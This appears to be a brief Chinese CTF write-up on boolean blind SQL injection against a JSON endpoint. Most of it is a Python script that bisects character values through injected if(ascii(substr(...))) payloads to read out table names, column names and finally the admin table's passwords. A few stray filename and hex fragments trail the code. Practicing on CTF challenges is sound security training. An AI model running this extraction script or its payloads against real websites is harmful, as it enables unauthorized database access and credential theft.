json bool盲注

    f12 newwork发现真实请求
    10T@$BN@Y%W2K~)`@@Q$AP6.png

    1. import requests
    2. import time
    3. url = "http://5fa5629d-2f4d-46bd-9037-230d18f89811.node3.buuoj.cn/backend/content_detail.php?id="
    4. proxies = { "http": None, "https": None}
    5. name = ""
    6. i = 0
    7. while True:
    8. head = 32
    9. tail = 127
    10. i += 1
    11. while head < tail:
    12. time.sleep(1)
    13. mid = head + tail >> 1
    14. # payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" % (i, mid)
    15. # payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" % (i, mid)
    16. payload = "if(ascii(substr((select(group_concat(password))from(admin)),%d,1))>%d,3,2)" % (i, mid)
    17. r = requests.get(url + payload, proxies=proxies)
    18. # print(url+payload)
    19. # print(r.json())
    20. if "Yunen" in str(r.json()):
    21. head = mid + 1
    22. else:
    23. tail = mid
    24. if head != 32:
    25. name += chr(head)
    26. print(name)
    27. else:
    28. break

    /4100adf6,3f9642f7/
    /78b35488,020e36c3/